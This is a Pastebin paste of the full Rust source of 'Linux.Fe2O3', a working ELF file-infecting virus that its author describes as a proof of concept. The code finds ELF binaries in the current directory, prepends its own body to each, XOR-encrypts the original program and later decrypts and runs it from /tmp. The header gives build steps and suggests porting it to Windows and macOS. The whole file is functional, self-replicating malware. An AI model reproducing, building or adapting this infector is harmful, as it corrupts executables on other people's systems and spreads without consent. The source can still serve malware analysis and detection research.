Advertisement
FlyFar

Linux.Fe2O3 - a POC ELF prepender written in Rust - Source Code

Jun 16th, 2023
1,372
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Rust 5.23 KB | Cybersecurity | 0 0
  1. /*
  2.  This is an ELF prepender written in Rust by TMZ (2019).
  3.  I like writting prependers on languages that I'm learning and find interesting.
  4.  
  5.  Linux.Fe2O3 (September 2019) - Simple binary infector written in Rust.
  6.  This version encrypts the host code with a simple XOR and decrypts it at runtime.
  7.  It's almost a direct port from my Nim infector Linux.Cephei and Go infector Linux.Liora.
  8.  
  9.  Build with: rustc main.rs -o Linux.Fe2O3
  10.  
  11.  Note that Rust version used was rustc 1.37.0 (eae3437df 2019-08-13).
  12.  It has no external dependencies so it should compile under most systems (tested under x86_64).
  13.  It's also possible to adapt it to be a PE/Mach infector and compile under Windows/macOS.
  14.  
  15.  Use at your own risk, I'm not responsible for any damages that this may cause.
  16.  A big shout for those who keeps the scene alive!
  17.  
  18.  Feel free to email me: thomazi@linux.com || guilherme@guitmz.com
  19.  You can also find me at Twitter @TMZvx || @guitmz
  20.  
  21.  https://www.guitmz.com
  22. */
  23.  
  24. use std::ffi::{OsStr, OsString};
  25. use std::fs::File;
  26. use std::io::prelude::*;
  27. use std::io::{Read, SeekFrom, Write};
  28. use std::os::unix::fs::OpenOptionsExt;
  29. use std::process::Command;
  30. use std::{env, fs, process};
  31.  
  32. const ELF_MAGIC: &[u8; 4] = &[0x7f, 0x45, 0x4c, 0x46]; // b"\x7FELF"
  33. const INFECTION_MARK: &[u8; 5] = &[0x40, 0x54, 0x4d, 0x5a, 0x40]; // @TMZ@
  34. const XOR_KEY: &[u8; 5] = &[0x46, 0x65, 0x32, 0x4f, 0x33]; // Fe2O3
  35. const VIRUS_SIZE: u64 = 2696496;
  36.  
  37. fn payload() {
  38.     println!("Rusting is a chemical reaction of iron in the presence of oxygen.
  39. Common sheet metal rusting in dry air works like this: 4 Fe + 3 O2 --> 2 Fe2O3.
  40. This reaction is relatively slow and produces a thin coating of stable iron oxide Fe2O3, which is (technically) rust, but is a fairly benign form of rust.")
  41. }
  42.  
  43. fn get_file_size(path: &OsStr) -> u64 {
  44.     let metadata = fs::metadata(&path).unwrap();
  45.     return metadata.len();
  46. }
  47.  
  48. fn read_file(path: &OsStr) -> Vec<u8> {
  49.     let buf = fs::read(path).unwrap();
  50.     return buf;
  51. }
  52.  
  53. fn xor_enc_dec(mut input: Vec<u8>) -> Vec<u8> {
  54.     for x in 0..input.len() {
  55.         input[x] = input[x] ^ XOR_KEY[x % XOR_KEY.len()];
  56.     }
  57.     return input;
  58. }
  59.  
  60. fn is_elf(path: &OsStr) -> bool {
  61.     let mut ident = [0; 4];
  62.     let mut f = File::open(path).unwrap();
  63.     f.read(&mut ident).unwrap();
  64.  
  65.     if &ident == ELF_MAGIC {
  66.         // this will work for PIE executables as well
  67.         // but can fail for shared libraries during execution
  68.         return true;
  69.     }
  70.     return false;
  71. }
  72.  
  73. fn is_infected(path: &OsStr) -> bool {
  74.     let file_size: usize = get_file_size(path) as usize;
  75.     let buf = read_file(path);
  76.  
  77.     for x in 1..file_size {
  78.         if &buf[x] == &INFECTION_MARK[0] {
  79.             for y in 1..INFECTION_MARK.len() {
  80.                 if (x + y) >= file_size {
  81.                     break;
  82.                 }
  83.                 if &buf[x + y] != &INFECTION_MARK[y] {
  84.                     break;
  85.                 }
  86.                 if y == INFECTION_MARK.len() - 1 {
  87.                     return true;
  88.                 }
  89.             }
  90.         }
  91.     }
  92.     return false;
  93. }
  94.  
  95. fn infect(virus: &OsString, target: &OsStr) {
  96.     let host_buf = read_file(target);
  97.     let mut encrypted_host_buf = xor_enc_dec(host_buf);
  98.     let mut virus_buf = vec![0; VIRUS_SIZE as usize];
  99.     let mut f = File::open(virus).unwrap();
  100.     f.read_exact(&mut virus_buf).unwrap();
  101.  
  102.     let mut infected = File::create(target).unwrap();
  103.     infected.write_all(&mut virus_buf).unwrap();
  104.     infected.write_all(&mut encrypted_host_buf).unwrap();
  105.     infected.sync_all().unwrap();
  106.     infected.flush().unwrap();
  107. }
  108.  
  109. fn run_infected_host(path: &OsString) {
  110.     let mut encrypted_host_buf = Vec::new();
  111.     let mut infected = File::open(path).unwrap();
  112.  
  113.     let plain_host_path = "/tmp/host";
  114.     let mut plain_host = fs::OpenOptions::new()
  115.         .create(true)
  116.         .write(true)
  117.         .mode(0o755)
  118.         .open(plain_host_path)
  119.         .unwrap();
  120.     infected.seek(SeekFrom::Start(VIRUS_SIZE)).unwrap();
  121.     infected.read_to_end(&mut encrypted_host_buf).unwrap();
  122.     drop(infected);
  123.  
  124.     let mut decrypted_host_buf = xor_enc_dec(encrypted_host_buf);
  125.     plain_host.write_all(&mut decrypted_host_buf).unwrap();
  126.     plain_host.sync_all().unwrap();
  127.     plain_host.flush().unwrap();
  128.  
  129.     drop(plain_host);
  130.     Command::new(plain_host_path).status().unwrap();
  131.     fs::remove_file(plain_host_path).unwrap();
  132. }
  133.  
  134. fn main() {
  135.     let args: Vec<String> = env::args().collect();
  136.     let myself = OsString::from(&args[0]);
  137.  
  138.     let current_dir = env::current_dir().unwrap();
  139.     for entry in fs::read_dir(current_dir).unwrap() {
  140.         let entry = entry.unwrap();
  141.         let path = entry.path();
  142.  
  143.         let metadata = fs::metadata(&path).unwrap();
  144.         if metadata.is_file() {
  145.             let entry_name = path.file_name().unwrap();
  146.             if myself == entry_name {
  147.                 continue;
  148.             }
  149.             if is_elf(entry_name) {
  150.                 if !is_infected(entry_name) {
  151.                     infect(&myself, entry_name);
  152.                 }
  153.             }
  154.         }
  155.     }
  156.  
  157.     if get_file_size(&myself) > VIRUS_SIZE {
  158.         payload();
  159.         run_infected_host(&myself);
  160.     } else {
  161.         process::exit(0)
  162.     }
  163. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement